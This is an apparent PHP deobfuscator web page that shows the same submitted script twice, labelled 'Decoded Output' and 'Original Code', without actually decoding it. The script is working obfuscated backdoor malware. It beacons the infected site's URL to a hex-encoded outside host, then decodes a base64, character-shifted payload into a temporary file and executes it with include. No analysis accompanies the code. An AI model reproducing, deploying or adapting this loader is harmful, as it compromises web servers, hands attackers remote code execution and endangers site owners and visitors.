Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hex_url = '68747470733a2f2f7369796168692e746f702f746573742f626f74322f7374796c652..
Decoded Output download
<?php
$hex_url = '68747470733a2f2f7369796168692e746f702f746573742f626f74322f7374796c652e706870';
error_reporting(0);
$k3yw = hex2bin($hex_url);
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "tempnam"("sys_get_temp_dir"(), "tmp_func"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "<?php {$ZJ}"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik < strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW("ISEhISELMCshISFgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYAshISEhfSEhUGNndnRkYnVmZSFjeiFaQkwhUXNwIS4hUWlxIVBjZ3Z0ZGJ1cHMhITMvMS8yNSEhfQshISEhfSEhISEhISEhISEhISEhcG8hMzEzNC4yMy4xNCEyODs2Nzs0NiEhISEhISEhISEhISEhfQshISEhfSEhISFIanVJdmM7IWl1dXF0OzAwaGp1aXZjL2RwbjBxbC5nczB6Ymxxc3AucXAhISEhfQshISEhfWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgfQsrMAshaHB1cCFHeDwhQjc7IWd2b2R1anBvIXV3KSVzUyohfCFocHVwIUU4PCFqRDshJVtEIT4hKWpvZG12ZWYhJXo2KjwhaHB1cCFxajwhT2s7IXNmdXZzbyElW0Q8IWhwdXAhalM8IUVHOyFnam1mYHF2dWBkcG91Zm91dCklejYtISN8JXNTfiMqPCFocHVwIWpEPCFFODshJXo2IT4hdWZucW9ibil0enRgaGZ1YHVmbnFgZWpzKSotISNdeTg1XXk3ZV15ODFdeTZnXTI1N10yNzZdeTdmXXk3NCMqPCFocHVwIUVHPCFxajshdm9tam9sKSV6Nio8IWhwdXAhT2s8IWpTOyF+IWhwdXAhdjE8IUd4OyElaVQhPiFkdnNtYGpvanUpKjwhaHB1cCFUcjwhdHg7ISVzTSE+IWR2c21gZnlmZCklaVQqPCFocHVwIVBbPCFQWzshZHZzbWBkbXB0ZiklaVQqPCFocHVwIUI3PCFUcjshZHZzbWB0ZnVwcXVgYnNzYnopJWlULSFic3NieilEVlNNUFFVYFZTTSE+PyEjXTI2MV0yNzVdeTg1XTI3MV0yNzRdeTRiXXkzZ115M2ddMjczXXk3Ml15ODhdNjddeTc4XXk3Ol0yNzVdeTc5XTI3Nl15NzNdeTg2XTI3NF15NzZdMjczXXk3NF0yNjhdMjY3XXk4NV15NzZdMjY3XXk4NV02N115NzRdeTdnXXk3ZV02OF03M115NDNdeTY5XXk4MV0yNjVdeTdnXTI2Ml0yNzVdeTc2XTI3M10yMTRdMjczXTI1Nl0yNzhdNjZdeTY1XXk3Nl15NzJdMjY2XXkzZ10yMThdeTc2XTI2NV03NV0yODJdNjZdeTVlXXk3Ol15N2ZdMjYyXXkzZV0yMzRdMjYxXXk3Nl15N2RdeTdkXXkzZV0yMTNdMjUyXTI1NF15N2NdMjU1XXk3Z115N2ddeTgzXXkzZ115NzVdeTc2XXk4N102OF15NzhdMjU2XXk3ZF15NzJdeTg6XXkzZl15ODFdeTc5XTI3MSMtIURWU01QUVVgVFRNYFdGU0pHWklQVFUhPj8hR0JNVEYtIURWU01QUVVgVFRNYFdGU0pHWlFGRlMhPj8hR0JNVEYtIURWU01QUVVgU0ZVVlNPVVNCT1RHRlMhPj8hVVNWRioqPCFocHVwIXR4PCF2MTshdXcpJXNNKjw=")); ?>
Did this file decode correctly?
Original Code
<?php
$hex_url = '68747470733a2f2f7369796168692e746f702f746573742f626f74322f7374796c652e706870';
error_reporting(0);
$k3yw = hex2bin($hex_url);
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "tempnam"("sys_get_temp_dir"(), "tmp_func"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "<?php {$ZJ}"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik < strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW("ISEhISELMCshISFgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYAshISEhfSEhUGNndnRkYnVmZSFjeiFaQkwhUXNwIS4hUWlxIVBjZ3Z0ZGJ1cHMhITMvMS8yNSEhfQshISEhfSEhISEhISEhISEhISEhcG8hMzEzNC4yMy4xNCEyODs2Nzs0NiEhISEhISEhISEhISEhfQshISEhfSEhISFIanVJdmM7IWl1dXF0OzAwaGp1aXZjL2RwbjBxbC5nczB6Ymxxc3AucXAhISEhfQshISEhfWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgfQsrMAshaHB1cCFHeDwhQjc7IWd2b2R1anBvIXV3KSVzUyohfCFocHVwIUU4PCFqRDshJVtEIT4hKWpvZG12ZWYhJXo2KjwhaHB1cCFxajwhT2s7IXNmdXZzbyElW0Q8IWhwdXAhalM8IUVHOyFnam1mYHF2dWBkcG91Zm91dCklejYtISN8JXNTfiMqPCFocHVwIWpEPCFFODshJXo2IT4hdWZucW9ibil0enRgaGZ1YHVmbnFgZWpzKSotISNdeTg1XXk3ZV15ODFdeTZnXTI1N10yNzZdeTdmXXk3NCMqPCFocHVwIUVHPCFxajshdm9tam9sKSV6Nio8IWhwdXAhT2s8IWpTOyF+IWhwdXAhdjE8IUd4OyElaVQhPiFkdnNtYGpvanUpKjwhaHB1cCFUcjwhdHg7ISVzTSE+IWR2c21gZnlmZCklaVQqPCFocHVwIVBbPCFQWzshZHZzbWBkbXB0ZiklaVQqPCFocHVwIUI3PCFUcjshZHZzbWB0ZnVwcXVgYnNzYnopJWlULSFic3NieilEVlNNUFFVYFZTTSE+PyEjXTI2MV0yNzVdeTg1XTI3MV0yNzRdeTRiXXkzZ115M2ddMjczXXk3Ml15ODhdNjddeTc4XXk3Ol0yNzVdeTc5XTI3Nl15NzNdeTg2XTI3NF15NzZdMjczXXk3NF0yNjhdMjY3XXk4NV15NzZdMjY3XXk4NV02N115NzRdeTdnXXk3ZV02OF03M115NDNdeTY5XXk4MV0yNjVdeTdnXTI2Ml0yNzVdeTc2XTI3M10yMTRdMjczXTI1Nl0yNzhdNjZdeTY1XXk3Nl15NzJdMjY2XXkzZ10yMThdeTc2XTI2NV03NV0yODJdNjZdeTVlXXk3Ol15N2ZdMjYyXXkzZV0yMzRdMjYxXXk3Nl15N2RdeTdkXXkzZV0yMTNdMjUyXTI1NF15N2NdMjU1XXk3Z115N2ddeTgzXXkzZ115NzVdeTc2XXk4N102OF15NzhdMjU2XXk3ZF15NzJdeTg6XXkzZl15ODFdeTc5XTI3MSMtIURWU01QUVVgVFRNYFdGU0pHWklQVFUhPj8hR0JNVEYtIURWU01QUVVgVFRNYFdGU0pHWlFGRlMhPj8hR0JNVEYtIURWU01QUVVgU0ZVVlNPVVNCT1RHRlMhPj8hVVNWRioqPCFocHVwIXR4PCF2MTshdXcpJXNNKjw=")); ?>
Function Calls
None |
Stats
MD5 | b35866ade19048cd192adf2f85850c63 |
Eval Count | 0 |
Decode Time | 41 ms |